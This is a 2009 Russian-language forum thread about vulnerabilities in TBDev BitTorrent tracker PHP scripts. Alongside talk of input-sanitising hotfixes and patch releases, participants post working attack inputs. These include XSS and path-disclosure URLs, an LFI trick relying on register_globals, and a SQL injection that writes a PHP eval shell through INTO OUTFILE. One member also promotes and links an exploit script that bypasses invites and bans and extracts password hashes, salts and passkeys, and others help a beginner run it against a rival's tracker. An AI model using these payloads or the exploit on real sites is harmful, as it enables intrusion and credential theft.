for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(($_GET['rt']=="$i")?"selected":"").">".$options[$i]."</option>\n";

Заменяем на:
$options = array("равен","выше","ниже","между");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(((int)$_GET['rt']=="$i")?"selected":"").">".$options[$i]."</option>\n";

.... И ЕЩЕ КУЧА ЛЕВОЙ ЕРУНДЫ ....



думаю так счастье прийдет и на твой трекер :)
как и пришло на мой :p
вставь где-нибудь в "начале".

foreach($_GET as $k=>$v)
{
$_GET[$k]=htmlspecialchars($v);
}

зы: конечно не идеальный вариант, но не "геморный", и достаточный для пользования на треке...

Yuna
14.08.2009, 08:59
Ага, и все параметры-массиву прийдут жопой, ты попробуй попробуй например чек-боксы где-то проставить, скажем админка-блоки ;)

Лучше киньте ссылкой на решение array_walk_recursive только что-б еще массивы обрабатывало, а-то циклами гонять не хочу чго-то!

Kpeamop
14.08.2009, 14:25
Ага, и все параметры-массиву прийдут жопой;)!

Ага, если быть уникалом и писать в текстбоксы спец символы, то немудрено что будет, я и писал что вариант не лучший, но быстрый.


ты попробуй попробуй например чек-боксы где-то проставить, скажем админка-блоки ;)!

из usersearch:
<input name="ac" value="1" type="checkbox">

попробуй сам если не понятен смысл своих строк, или не своих а спертых откудато! :)
при установке передается цифра, или ее отсутствие в месте с параметром.

зы: кто говорит об админка-блоках ? если нечего по теме сказать, то лучше помолчи или иди флуди на своем форуме.

Qwazar
14.08.2009, 14:29
Ага, если быть уникалом и писать в текстбоксы спец символы, то немудрено что будет, я и писал что вариант не лучший, но быстрый. Твой метод не катит (В общем случае). Данные на входе портить нельзя, нужно следить за тем что и куда ты выводишь.

Kpeamop
14.08.2009, 15:37
Твой метод не катит (В общем случае). Данные на входе портить нельзя, нужно следить за тем что и куда ты выводишь.

где ты данные видел учетки или ящика или еще чего-то со спец символами? они все в основном идут в латинице и цифры, поэтому метод катит на 95%

Qwazar
14.08.2009, 15:43
где ты данные видел учетки или ящика или еще чего-то со спец символами? они все в основном идут в латинице и цифры, поэтому метод катит на 95% Угу, в данном конкретно файле, этот вариант сработает, но неизвестно что там будет в будущем, т.е. как вариант добавят поле в котором забудут поставить "" и т.п. А предложенный тобой вариант создаст иллюзию безопасности.

З.Ы.
В качестве хотфикса конечно покатит, но разработчику я бы посоветовал разобраться с каждым передаваемым параметром основательно.

Kpeamop
14.08.2009, 17:18
Угу, в данном конкретно файле, этот вариант сработает, но неизвестно что там будет в будущем, т.е. как вариант добавят поле в котором забудут поставить "" и т.п. А предложенный тобой вариант создаст иллюзию безопасности.

З.Ы.
В качестве хотфикса конечно покатит, но разработчику я бы посоветовал разобраться с каждым передаваемым параметром основательно.

Во 1х: каждый символ " заменится на мнемонику хтмл &quote;, поэтому дублировать его нет нужды, при выводе XSS не будет.

Во 2х: я говорил и повторюсь работать не будет только с подобным спец. символами, т.к. при запросах к бд, в бд будет " а слаться на выборку будет &quote; естественно совпадений не будет, на это я и оставил 5% не удобности данного метода.

ЗЫ: уже 1.5 года в эксплуатации данный метод, хоть бы кто-то пожаловался что их не устраивает.

ЗЫЫ: юна учи хтмл и пхп, чтоб не делать таких ошибок в скриптах, а лучше пиши свои и не юзай чужие.

Qwazar
14.08.2009, 17:31
ЗЫ: уже 1.5 года в эксплуатации данный метод, хоть бы кто-то пожаловался что их не устраивает. Пример кода, на котором такой метод не сработает:<?php
foreach($_GET as $k=>$v)
{
$_GET[$k]=htmlspecialchars($v);
}

echo "<table name=".$_GET['a']."><tr><td>test</td></tr></table>";
?>Пример использования: http://localhost/1.php.zzz?a=1%20onMouseOver=alert(/aaa/)

Kpeamop
14.08.2009, 17:40
Пример кода, на котором такой метод не сработает:<?php
foreach($_GET as $k=>$v)
{
$_GET[$k]=htmlspecialchars($v);
}

echo "<table name=".$_GET['a']."><tr><td>test</td></tr></table>";
?>Пример использования: http://localhost/1.php.zzz?a=1%20onMouseOver=alert(/aaa/)

насколько я помню речь шла не о каком-то коде взятом из головы, а именно из usersearch.php, а там все в ""

пример:
value="<?=$_GET['ip']?>"

поэтому будет не так :
<table name=1 onMouseOver=alert(/aaa/)><tr><td>test</td></tr></table>
а так:
<table name="1 onMouseOver=alert(/aaa/)"><tr><td>test</td></tr></table>

и я не соглашусь с тобой, что этот код вреден.

Qwazar
14.08.2009, 17:43
Kpeamop, я и написал что как хот-фикс он подойдёт, для конкретно этого файла. Но если в нём что нибудь поменяют, этот код может перестать защищать. И само собой, в общем случае, на такой код полагаться нельзя.

З.Ы.
К слову, в TBDev мест где в тегах не используются кавычки - *опой жуй.

Kpeamop
14.08.2009, 17:47
И само собой, в общем случае, на такой код полагаться нельзя.

З.Ы.
К слову, в TBDev мест где в тегах не используются кавычки - *опой жуй.

без кавычек - не спорю, а так вполне достаточно надежный.

Yuna
14.08.2009, 21:39
без кавычек - не спорю
+
К слову, в TBDev мест где в тегах не используются кавычки - *опой жуй.
->
не эффективно

два - у тебя хрень такая - name="something[]" и так несколько чекбоксов - на выходе этого МАССИВА НЕ БУДЕТ

Kpeamop
15.08.2009, 01:30
2 Yuna, *scratch* ты это, с кем говорил?

Stinside
15.08.2009, 13:02
name="something[]"
Давно уже не работает вообще-то.

Yuna
16.08.2009, 01:35
что давно не работает? вы хоть понимаете зачем нужна такая конструкция? или смысл моего поста

ZonD80
21.08.2009, 15:23
Ребят, хватит юну мучать, он прекрасно знает, где и какие дырки.

Давайте меня помучайте: http://dev.kinokpk.com/releases/Kinokpk.com_releaser_v.2.70.7z

Qwazar
21.08.2009, 20:16
Ребят, хватит юну мучать, он прекрасно знает, где и какие дырки.

Давайте меня помучайте: http://dev.kinokpk.com/releases/Kinokpk.com_releaser_v.2.70.7z Для таких обращений есть специальный раздел :)

Тут выкладывают то что сами нашли.

HAXTA4OK
22.08.2009, 00:45
КЫСС (XSS)

<form action="<?=$PHP_SELF;?>" method="get" name="form1">

http://127.0.0.1/treker/formats.php/%22%3E%3Cscript%3Ealert(/hi/);%3C/script%3E

Dflbv
24.08.2009, 11:51
что можно сделать если есть доступ к директорскому аку но нету доступа к админке (к блокам) как можно шелл залить?

ILYAtirtir
24.08.2009, 16:49
Если у юзера в mysql есть права на запись,то в регистрации например вместо email вписываешь
'+union+select+'<? eval($a); ?>'+into+otfile+'C:/blablabla/1.php'/*
Вместо eval можно окно для загрузки,кто-то выкладывал вроде.
Вместо blablabla пишешь путь который тебе нужен,взять можно из ошибки. Например
http://site.ru/torrent/details.php?id[]=11111 Или в начале темы там выкладывали раскрытия путей.
У меня было один раз что "+" не катил,заменял на /**/.Так же если комментарий "/*" не катит,заменяй на -- или #

Yuna
24.08.2009, 21:07
Если у юзера в mysql есть права на запись,то в регистрации например вместо email вписываешь

этот баг закрыт ваще-то уже...

ZonD80, а ты че? :) делай тему =))) может я еще не все знаю? :)

HAXTA4OK
26.08.2009, 23:29
тема тухнет ,вроде небыло этого раскрытия путей )))

http://127.0.0.1/treker/log.php?type[]=

http://127.0.0.1/treker/friends.php?action=delete&type[]=&targetid=2

http://127.0.0.1/treker/browse.php?search[]=&incldead=0&cat=0

какие баян напишите плиз =) а то все 21 страниц заново смареть лень :confused:

vano793
27.08.2009, 11:51
тема тухнет ,вроде небыло этого раскрытия путей )))

http://127.0.0.1/treker/log.php?type[]=

http://127.0.0.1/treker/friends.php?action=delete&type[]=&targetid=2

http://127.0.0.1/treker/browse.php?search[]=&incldead=0&cat=0

какие баян напишите плиз =) а то все 21 страниц заново смареть лень :confused:


Вот эта и на Kinokpk.com releaser
http://127.0.0.1/treker/log.php?type[]=

Dflbv
11.09.2009, 11:10
раскрытие путей
/testip.php?ip=>

Yuna
15.09.2009, 15:18
С форумом простились, аминь!

Мелкие пакости правки, и прочее прочее прочее:

1. Переведены языковые файлики на ArrayAccess.
2. Блокировка скрипта если включен regsiter_globals или не забитыми всяким хламом переменными
3. Привязка кукисов к подсети 255.255.0.0
4. Еще всякие мелочки, кому надо - diff в помощь

http://bit-torrent.kiev.ua/downloads.php?do=file&id=25

m0Hze
28.09.2009, 13:32
Собственно,понятия не имею было,или небыло,но когда рылся в коде дивжка,для самообразования,нашол:

http://target.com/rss.php?feed=dl&cat=31&passkey[]=

Раскрытие путей.

m0Hze
28.09.2009, 13:36
И еще,незнаю будет ли работать гдето еще,ибо нет желания тестировать,но трекеры в моей локальной сети точно подвержены:

http://good73.net/getrss.php

При нажатии сабмита имеем POST данные:

cat%5B%5D=22&cat%5B%5D=20&cat%5B%5D=12&feed=web&login=passkey

Так вот,если просто повторить запрос,использовав при этом urlencode()(как в примере),получим раскрытие путей:

Warning: implode() [function.implode]: Invalid arguments passed in /usr/local/www/target.com/getrss.php on line 56

m0Hze
28.09.2009, 13:42
Извиняюсь что в несколько постов,просто в данный момент пишу с нетбука,который очень меня напрягает.
Все знают,про такую кнопку как "Спасибо",так вот,сабмитим ее,и имеем POST-данные вида:

torrentid=33042&ajax=yes

Создаем в качестве ajax,массив,с темже именем,то есть:

torrentid=33042&ajax[]=yes

Меня выкидывало на ошибку MySQL.Незнаю,возможно есть шанс раскрутить в скулю,но я в этом не силен.Это я оставлю на ваш тест :)

Yuna
29.09.2009, 11:00
Создаем в качестве ajax,массив,с темже именем,то есть:

$ajax = (string) $_POST["ajax"];
а ошибка ибо уникальные индексы

Gray_Wolf
29.09.2009, 11:06
по моему тут все равно есть баги
Но в паблик их врядли станут выкладывать :)

HAXTA4OK
29.09.2009, 11:22
Ну лан спалю одын приват =) на те старые версии
куча LFI & RFI =) мб и не приват

к примеру файл recover.php

require "include/bittorrent.php";

dbconn();

if ($_SERVER["REQUEST_METHOD"] == "POST")
{


подгружает файлик bittorrent.php а в нем

if (empty($rootpath))
$rootpath = ROOT_PATH;
require_once($rootpath . 'include/core.php');
?>

если прочесть его, то по смыслу ,если $rootpath не пустой ,тогда такой $rootpath = ROOT_PATH; замены не будет; и значит - уязвим :) надеюсь я правильно его прочел))

При REGISTER_globals = on и MQ= off

http://127.0.0.1/treker/recover.php?rootpath='%00

Warning: require_once(') [function.require-once]: failed to open stream: No such file or directory in C:\xampp\htdocs\treker\include\bittorrent.php on line 57


файлы имеющие такую особенность :
faq.php
recover.php
bookmarks.php
rules.php
download.php
....по моему почти все =\

Раскрытие путей :

так как mysql_real_escape_string function sqlesc($value) {
// Stripslashes
/*if (get_magic_quotes_gpc()) {
$value = stripslashes($value);
}*/
// Quote if not a number or a numeric string
if (!is_numeric($value)) {
$value = "'" . mysql_real_escape_string($value) . "'";
}
return $value;
}


captcha.php?imagehash[]=

Warning: mysql_real_escape_string() expects parameter 1 to be string, array given in C:\xampp\htdocs\treker\include\functions.php on line 462

гуглом поискал не нашел))
еще раскрытие путей
$pic = htmlspecialchars($_GET["pic"]);

stdhead("Просмотр картинки");
print("<h1>$pic</h1>\n");
print("<p align=center><img src=\"torrents/images/$pic\"></p>\n");
?>

viewimage.php?pic[]=

Yuna
29.09.2009, 16:04
для меня это как два года боян, два - я указываю что отключайте регистер глобалс, не отключили - их личные проблемы ;)

Rostov114
02.10.2009, 15:36
:D Что же подольем немного масла. Слоит v3.3.

На данный момент он умеет обходить:

Коды регистрации
Запросы инвайтов
Бан по IP


Совершает атаки через:

./rss.php (слепая SQL, ибо запись файла не айс)
./requests.php
./takesignup.php
./check_signup.php
./viewoffers.php
./sendbonus.php
./bonuscode.php
Форум


Также имеет 2 способа работы:

Multi mode - атака по всем файлам, в том числе авторигистрация.
Login exploit mode - работает только с логином и пассом.


Добавлено и доработано:

Получение всех IP адресов сайта и подключение
Если не верно указан хост то сплоит и не начнет работу.
Получение: соли, пассхеша, пасскея и инфы привязан ли пасскей к IP
Если в конце адреса трекера не был указан слеш, то теперь сплоит с ума не сходит
Вывод каким методом сплоит будет атаковать (чисто для информации)


В данный релиз не вошло следующие веши и также были удалены

Генерация приятных уху никнеймов
Удалена атака через rss.php - file record


В связи с тем что форум не захотел отобразить не маленький сплоит. Пришлось его загрузить на отдельный сервер. Взять его можете здесь (http://audi100aar.narod.ru/sqltbdev_3_3/tbdev2sql.html)

Если по каким то причинам данный скрипт у вас не запускается, виноваты вы. Он рабочий, проверялся на оригинальном TBDev 2.0.

Внимание: Данная программа выложена здесь для ознакомления.
Автор не несёт ответственности за негативные последствия, причинённые данной программой в результате правильного или неправильного её использования.
Также автор не несет ответственности за причерченный вред кому либо данной программой.

;) Чтож, прикрываем оперативно дырки.

Yuna
02.10.2009, 20:05
sendbonus, bonuscode?????? WTF?

Как вы поясните собираетесь обходить $b = get_row_count("captcha", "WHERE imagehash = ".sqlesc($_POST["imagehash"])." AND imagestring = ".sqlesc($_POST["imagestring"]));?

Даже если оба 0000000 и 0 - строчек-то тоже 0!

Rostov114
02.10.2009, 23:14
sendbonus, bonuscode?????? WTF?

Как вы поясните собираетесь обходить $b = get_row_count("captcha", "WHERE imagehash = ".sqlesc($_POST["imagehash"])." AND imagestring = ".sqlesc($_POST["imagestring"]));?

Даже если оба 0000000 и 0 - строчек-то тоже 0!
Да. Если включен error_reporting. То вывалиться ошибка, по которой уже можно судить, тому ли равна данная позиция или нет.

Хм... ну у нас выходит запрос вида:
SELECT COUNT(*) FROM captcha WHERE imagehash = 'принятый_imagehash' AND imagestring = 0
:) Чесно не вникал как MySQL обрабатывает данный запрос, но по моему он хватает только 1й параметр а т.к. второй 0 отбрасывает.
Кстати, бага такого же вида и на инвайтах. Есть ведь супер инвайт в 32 нуля...и работает ведь.

Yuna
03.10.2009, 00:20
Кстати, бага такого же вида и на инвайтах. Есть ведь супер инвайт в 32 нуля...и работает ведь.

ну не работет ведь блин! :) проверь =))) tracker.hdclub.com.ua uniongang.ru

Чесно не вникал как MySQL обрабатывает данный запрос, но по моему он хватает только 1й параметр а т.к. второй 0 отбрасывает.
фулл бред, зачем тогда придумывали SQL?

Rostov114
03.10.2009, 22:50
ну не работет ведь блин! :) проверь =))) tracker.hdclub.com.ua uniongang.ru


фулл бред, зачем тогда придумывали SQL?
1. Не работает, согласен, если в SQL запросе не стоит '', то тогда да облом.
2. Я же говорил, я не вникал как MySQL обрабатывает данный запрос.

Yuna
04.10.2009, 00:16
А то что твои "обходники" НЕ РАБОТАЮТ!

Rostov114
04.10.2009, 05:38
А то что твои "обходники" НЕ РАБОТАЮТ!
:) Ну у меня в локалке работают на ура.
Только там большинство стоит на Windows и сервером является TopServer.

Yuna
04.10.2009, 13:45
Видимо у них или очень старая версия, или что-то еще хуже =))

Два - ты не знал что если открыта рега но включена инвайтная рега - тебя будет просить ввести инвайт но если введеш на него забьет? ;)

Так-что проверь еще раз ;)

Rostov114
04.10.2009, 15:08
Видимо у них или очень старая версия, или что-то еще хуже =))

Два - ты не знал что если открыта рега но включена инвайтная рега - тебя будет просить ввести инвайт но если введеш на него забьет? ;)

Так-что проверь еще раз ;)
TBDev.18.05.07.zip (2,49 MB) :) У нас в основном такая древность стоит.

Yuna
04.10.2009, 17:50
TBDev.18.05.07.zip (2,49 MB) У нас в основном такая древность стоит.

а на свежестях? :)

X_Hunter
04.10.2009, 18:07
Хотел запустить сплойт на 3 разных пхп - везде одна и таже ошибка:
PHP Fatal error: Call to undefined function dns_get_record() in C:\sql.php on line 448

Rostov114
04.10.2009, 18:59
Хотел запустить сплойт на 3 разных пхп - везде одна и таже ошибка:
PHP Fatal error: Call to undefined function dns_get_record() in C:\sql.php on line 448
:) Не поддерживается значит в PHP работа с DNS.
а на свежестях? :)
:) Последнюю, согласен не прошибает.
И вообще давай жить дружно ^_^.

P.S. Кстати, а форум phpBB 3.0 прикрутить нельзя что ли?

foot
05.10.2009, 02:53
:) Не поддерживается значит в PHP работа с DNS.

Уважаемый Rostov114 Есть ли другие варианты??? :confused: :confused: :confused:

Rostov114
05.10.2009, 19:21
:) Не поддерживается значит в PHP работа с DNS.

Уважаемый Rostov114 Есть ли другие варианты??? :confused: :confused: :confused:
Эм...просто посмотреть сплоит 3.0 и снести к чертям данную функцию.

foot
05.10.2009, 22:20
Ув.Rostov114
Я начинающий не могли бы вы показать код который надо удалить...

Я убрал этот$result = dns_get_record($host, $type);
и после этого он постоянно писал: A host tracker.com not found!
Тобишь кажется сплоит не работает (((
:confused: :confused: :confused: :confused:

DREASTY
06.10.2009, 00:10
Ув.Rostov114
Я начинающий не могли бы вы показать код который надо удалить...

Я убрал этот$result = dns_get_record($host, $type);
и после этого он постоянно писал: A host tracker.com not found!
Тобишь кажется сплоит не работает (((
:confused: :confused: :confused: :confused:
ну если убрал днс тогда пробуй по айпи

У меня такой вопрос:
хеш закодирован как: md5($salt.$pass.$salt);
откуда собственно брать соль?
посмотрел в базе, есть только password и passkey.

foot
06.10.2009, 00:29
ну если убрал днс тогда пробуй по айпи

Анаогично пишет: A host not found! :confused: :confused: :confused: :confused:

Rostov114
06.10.2009, 02:59
ну если убрал днс тогда пробуй по айпи

У меня такой вопрос:
хеш закодирован как: md5($salt.$pass.$salt);
откуда собственно брать соль?
посмотрел в базе, есть только password и passkey.
secret - соль
Ув.Rostov114
Я начинающий не могли бы вы показать код который надо удалить...

Я убрал этот$result = dns_get_record($host, $type);
и после этого он постоянно писал: A host tracker.com not found!
Тобишь кажется сплоит не работает (((
:confused: :confused: :confused: :confused:
:) Тогда встречный вопрос, зачем лезть на трекер конкурента?

А вообще, найти:
$ips = getaddrbyname($u['host']);
И заменить на
$ips = array(0 => $u['host']);
Или
$ips = gethostbynamel($u['host']);

LeoRush
13.10.2009, 17:58
:
P.S. Кстати, а форум phpBB 3.0 прикрутить нельзя что ли?
http://bit-torrent.kiev.ua/ntegratsiia_foruma_phpbb3-t5290/index.html?t=5290
http://www.nulled.ws/showthread.php?t=115695

Yuna
17.10.2009, 16:00
Свеженьких два билда :)

17.10.09

1. Исправлена XSS в browse.php
2. Исправление проблемы пропадания расширения у картинки, если оно состояло из 4-х символов (.jpeg)
3. Мелкие правки

17.10.09-r2

1. Исправлена уязвимость позволявшая перехватить логин пароль и имя доступа к БД

скачать, как всегда (http://bit-torrent.kiev.ua/downloads.php?do=file&id=25)

Rostov114
19.10.2009, 15:21
http://bit-torrent.kiev.ua/ntegratsiia_foruma_phpbb3-t5290/index.html?t=5290
http://www.nulled.ws/showthread.php?t=115695
...
Имеется в виду официальный билд.

m0Hze
31.10.2009, 13:35
Раскрытие путей

simpaty.php?action=add&good&targetid[]=2&type=torrent100&returnto[]=

Yuna
02.12.2009, 00:52
А я говорил что SVN запустил? :)

http://svn.bit-torrent.kiev.ua:8080/

Можете на дырки проверить? :)